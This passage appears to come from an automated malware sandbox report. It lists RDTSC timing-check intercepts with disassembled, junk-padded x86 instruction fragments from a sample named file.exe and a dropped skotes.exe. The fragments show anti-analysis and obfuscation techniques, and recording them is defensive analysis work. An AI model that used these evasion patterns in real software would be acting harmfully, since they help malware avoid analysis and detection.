                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480075 second address: 548007B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 548007B second address: 548007F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0712 second address: 54E0716 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0716 second address: 54E071C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E071C second address: 54E07C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F5E810FCBAEh 0x00000011 jmp 00007F5E810FCBB5h 0x00000016 popfd 0x00000017 pushad 0x00000018 push eax 0x00000019 pop edi 0x0000001a push esi 0x0000001b pop edi 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 mov dl, 2Bh 0x00000022 jmp 00007F5E810FCBAEh 0x00000027 popad 0x00000028 xchg eax, ebp 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F5E810FCBAEh 0x00000030 sbb esi, 33AAEDA8h 0x00000036 jmp 00007F5E810FCBABh 0x0000003b popfd 0x0000003c mov cx, CC9Fh 0x00000040 popad 0x00000041 mov ebp, esp 0x00000043 pushad 0x00000044 mov ecx, 7483B097h 0x00000049 call 00007F5E810FCBACh 0x0000004e mov bl, cl 0x00000050 pop edx 0x00000051 popad 0x00000052 push dword ptr [ebp+0Ch] 0x00000055 push eax 0x00000056 push edx 0x00000057 pushad 0x00000058 mov di, 03AAh 0x0000005c jmp 00007F5E810FCBABh 0x00000061 popad 0x00000062 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E07C5 second address: 54E07F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E8080F35Dh 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E07F4 second address: 54E0814 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 51FC3CD3h 0x0000000e pushad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0814 second address: 54E0846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushfd 0x00000008 jmp 00007F5E8080F35Bh 0x0000000d sub si, 4BBEh 0x00000012 jmp 00007F5E8080F369h 0x00000017 popfd 0x00000018 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0914 second address: 54E0941 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F5E810FCBACh 0x0000000c add eax, 1AB45568h 0x00000012 jmp 00007F5E810FCBABh 0x00000017 popfd 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0941 second address: 54E0945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0945 second address: 54E0960 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0960 second address: 54E0966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54E0966 second address: 54E096A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: D0B994 second address: D0B998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490201 second address: 5490207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490207 second address: 549020B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549020B second address: 5490239 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F5E810FCBB4h 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F5E810FCBAAh 0x0000001a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490239 second address: 549023D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549023D second address: 5490243 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490243 second address: 54902E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F5E8080F360h 0x00000010 push FFFFFFFEh 0x00000012 jmp 00007F5E8080F360h 0x00000017 call 00007F5E8080F359h 0x0000001c jmp 00007F5E8080F360h 0x00000021 push eax 0x00000022 pushad 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F5E8080F365h 0x00000033 xor cl, FFFFFFB6h 0x00000036 jmp 00007F5E8080F361h 0x0000003b popfd 0x0000003c popad 0x0000003d mov eax, dword ptr [eax] 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F5E8080F363h 0x00000046 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54902E1 second address: 54902E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54902E7 second address: 54902EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54902EB second address: 5490311 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 push edi 0x00000011 mov dx, cx 0x00000014 pop ecx 0x00000015 mov bx, 1902h 0x00000019 popad 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490311 second address: 5490326 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E8080F360h 0x00000009 popad 0x0000000a rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490326 second address: 549032C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549032C second address: 5490353 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F5E8080F359h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E8080F364h 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490353 second address: 5490359 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490359 second address: 549035D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549035D second address: 54903BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F5E810FCBB6h 0x00000010 sub ch, 00000058h 0x00000013 jmp 00007F5E810FCBABh 0x00000018 popfd 0x00000019 push ecx 0x0000001a mov bl, 70h 0x0000001c pop ecx 0x0000001d popad 0x0000001e mov eax, dword ptr [esp+04h] 0x00000022 pushad 0x00000023 movzx ecx, bx 0x00000026 movsx edx, cx 0x00000029 popad 0x0000002a mov eax, dword ptr [eax] 0x0000002c pushad 0x0000002d mov cx, di 0x00000030 push ebx 0x00000031 mov edx, esi 0x00000033 pop esi 0x00000034 popad 0x00000035 mov dword ptr [esp+04h], eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F5E810FCBACh 0x00000042 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54903BD second address: 54903C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54903C3 second address: 54903C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54903C9 second address: 54903CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54903CD second address: 54903FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F5E810FCBB2h 0x00000010 sub ax, 5C78h 0x00000015 jmp 00007F5E810FCBABh 0x0000001a popfd 0x0000001b push ecx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54903FE second address: 5490423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr fs:[00000000h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5E8080F367h 0x00000013 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490423 second address: 54904DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov esi, 70DAD113h 0x00000010 jmp 00007F5E810FCBB8h 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F5E810FCBABh 0x0000001c nop 0x0000001d jmp 00007F5E810FCBB6h 0x00000022 sub esp, 1Ch 0x00000025 pushad 0x00000026 mov esi, 6CFF230Dh 0x0000002b popad 0x0000002c push esi 0x0000002d jmp 00007F5E810FCBB4h 0x00000032 mov dword ptr [esp], ebx 0x00000035 pushad 0x00000036 call 00007F5E810FCBAEh 0x0000003b pushfd 0x0000003c jmp 00007F5E810FCBB2h 0x00000041 sbb cx, 4AB8h 0x00000046 jmp 00007F5E810FCBABh 0x0000004b popfd 0x0000004c pop ecx 0x0000004d push eax 0x0000004e push edx 0x0000004f mov eax, edx 0x00000051 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54904DD second address: 5490535 instructions: 0x00000000 rdtsc 0x00000002 call 00007F5E8080F35Bh 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push ebp 0x0000000c jmp 00007F5E8080F364h 0x00000011 mov dword ptr [esp], esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx ebx, cx 0x0000001a pushfd 0x0000001b jmp 00007F5E8080F366h 0x00000020 adc cx, A6A8h 0x00000025 jmp 00007F5E8080F35Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490535 second address: 5490580 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edi, ax 0x00000010 pushfd 0x00000011 jmp 00007F5E810FCBB4h 0x00000016 xor si, 3B68h 0x0000001b jmp 00007F5E810FCBABh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490580 second address: 54905A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54905A4 second address: 54905AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54905AA second address: 5490616 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F365h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, edi 0x0000000a pushad 0x0000000b mov ax, 2BC3h 0x0000000f pushfd 0x00000010 jmp 00007F5E8080F368h 0x00000015 add ax, 4288h 0x0000001a jmp 00007F5E8080F35Bh 0x0000001f popfd 0x00000020 popad 0x00000021 mov eax, dword ptr [76FBB370h] 0x00000026 pushad 0x00000027 mov di, cx 0x0000002a jmp 00007F5E8080F360h 0x0000002f popad 0x00000030 xor dword ptr [ebp-08h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490616 second address: 549061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549061D second address: 549067E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, ebp 0x0000000b jmp 00007F5E8080F361h 0x00000010 nop 0x00000011 pushad 0x00000012 movzx esi, bx 0x00000015 pushad 0x00000016 mov bx, 809Ah 0x0000001a mov ax, dx 0x0000001d popad 0x0000001e popad 0x0000001f push eax 0x00000020 jmp 00007F5E8080F35Ch 0x00000025 nop 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F5E8080F367h 0x0000002d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549067E second address: 5490696 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5E810FCBB4h 0x00000009 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490696 second address: 549074C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F35Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-10h] 0x0000000e jmp 00007F5E8080F366h 0x00000013 mov dword ptr fs:[00000000h], eax 0x00000019 pushad 0x0000001a call 00007F5E8080F35Eh 0x0000001f pop ebx 0x00000020 mov esi, 0FC8310Dh 0x00000025 popad 0x00000026 mov esi, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F5E8080F366h 0x00000030 adc ch, 00000058h 0x00000033 jmp 00007F5E8080F35Bh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F5E8080F368h 0x0000003f add ecx, 554770B8h 0x00000045 jmp 00007F5E8080F35Bh 0x0000004a popfd 0x0000004b popad 0x0000004c mov eax, dword ptr [esi+10h] 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007F5E8080F365h 0x00000056 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 549074C second address: 5490790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBB1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007F5E810FCBAEh 0x00000010 jne 00007F5EF2B2C159h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F5E810FCBB7h 0x0000001d rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5490790 second address: 54908A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E8080F369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub eax, eax 0x0000000b jmp 00007F5E8080F367h 0x00000010 mov dword ptr [ebp-20h], eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F5E8080F364h 0x0000001a or ax, 7498h 0x0000001f jmp 00007F5E8080F35Bh 0x00000024 popfd 0x00000025 movzx ecx, bx 0x00000028 popad 0x00000029 mov ebx, dword ptr [esi] 0x0000002b jmp 00007F5E8080F35Bh 0x00000030 mov dword ptr [ebp-24h], ebx 0x00000033 jmp 00007F5E8080F366h 0x00000038 test ebx, ebx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007F5E8080F35Eh 0x00000041 jmp 00007F5E8080F365h 0x00000046 popfd 0x00000047 jmp 00007F5E8080F360h 0x0000004c popad 0x0000004d je 00007F5EF223E780h 0x00000053 pushad 0x00000054 jmp 00007F5E8080F35Eh 0x00000059 pushfd 0x0000005a jmp 00007F5E8080F362h 0x0000005f sub eax, 12443E18h 0x00000065 jmp 00007F5E8080F35Bh 0x0000006a popfd 0x0000006b popad 0x0000006c cmp ebx, FFFFFFFFh 0x0000006f push eax 0x00000070 push edx 0x00000071 pushad 0x00000072 call 00007F5E8080F35Bh 0x00000077 pop esi 0x00000078 movsx edx, cx 0x0000007b popad 0x0000007c rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 54908A4 second address: 5490201 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5E810FCBABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5EF2B2BF6Eh 0x0000000e jne 00007F5E810FCBC9h 0x00000010 xor ecx, ecx 0x00000012 mov dword ptr [esi], ecx 0x00000014 mov dword ptr [esi+04h], ecx 0x00000017 mov dword ptr [esi+08h], ecx 0x0000001a mov dword ptr [esi+0Ch], ecx 0x0000001d mov dword ptr [esi+10h], ecx 0x00000020 mov dword ptr [esi+14h], ecx 0x00000023 mov ecx, dword ptr [ebp-10h] 0x00000026 mov dword ptr fs:[00000000h], ecx 0x0000002d pop ecx 0x0000002e pop edi 0x0000002f pop esi 0x00000030 pop ebx 0x00000031 mov esp, ebp 0x00000033 pop ebp 0x00000034 retn 0004h 0x00000037 nop 0x00000038 pop ebp 0x00000039 ret 0x0000003a add esi, 18h 0x0000003d pop ecx 0x0000003e cmp esi, 00B556A8h 0x00000044 jne 00007F5E810FCB90h 0x00000046 push esi 0x00000047 call 00007F5E810FD413h 0x0000004c push ebp 0x0000004d mov ebp, esp 0x0000004f push dword ptr [ebp+08h] 0x00000052 call 00007F5E85A7FDD2h 0x00000057 mov edi, edi 0x00000059 push eax 0x0000005a push edx 0x0000005b jmp 00007F5E810FCBB5h 0x00000060 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480CE4 second address: 5480D02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5E8080F35Fh 0x00000014 rdtsc
                              Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 5480D02 second address: 5480D08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 3378EF second address: 3378F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 3378F5 second address: 337902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F5E810FCBA6h 0x0000000d rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 337902 second address: 337906 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 337906 second address: 337923 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jno 00007F5E810FCBAEh 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 337923 second address: 337929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 326A6D second address: 326A72 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 326A72 second address: 326A81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnc 00007F5E8080F356h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 336CDE second address: 336CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 336CE2 second address: 336CEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F5E8080F356h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 336CEE second address: 336D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jne 00007F5E810FCBA6h 0x0000000b jmp 00007F5E810FCBABh 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 pushad 0x00000017 jnp 00007F5E810FCBA6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 336D13 second address: 336D29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5E8080F35Eh 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 336ED2 second address: 336ED6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AC97 second address: 33AC9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AC9F second address: 33ACA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33ACA5 second address: 33ACCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F5E8080F368h 0x0000000d pushad 0x0000000e js 00007F5E8080F356h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33ACCE second address: 33AD01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 nop 0x00000007 mov dword ptr [ebp+122D1CD0h], esi 0x0000000d push 00000000h 0x0000000f mov esi, dword ptr [ebp+122D200Ch] 0x00000015 mov ch, dh 0x00000017 push C92914E9h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F5E810FCBB1h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AEC6 second address: 33AECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AECB second address: 33AED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                              Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exeRDTSC instruction interceptor: First address: 33AED1 second address: 33AF25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xor dword ptr [esp], 0F974DB7h 0x0000000f or dx, A403h 0x00000014 push 00000003h 0x00000016 and si, 19F1h 0x0000001b push 00000000h 0x0000001d call 00007F5E8080F365h 0x00000022 mov dx, si 0x00000025 pop edx 0x00000026 push eax 0x00000027 mov dword ptr [ebp+122D297Bh], esi 0x0000002d pop edi 0x0000002e push 00000003h 0x00000030 mov dword ptr [ebp+122D3AA2h], ebx 0x00000036 push 87B75848h 0x0000003b jo 00007F5E8080F364h 0x00000041 pushad 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
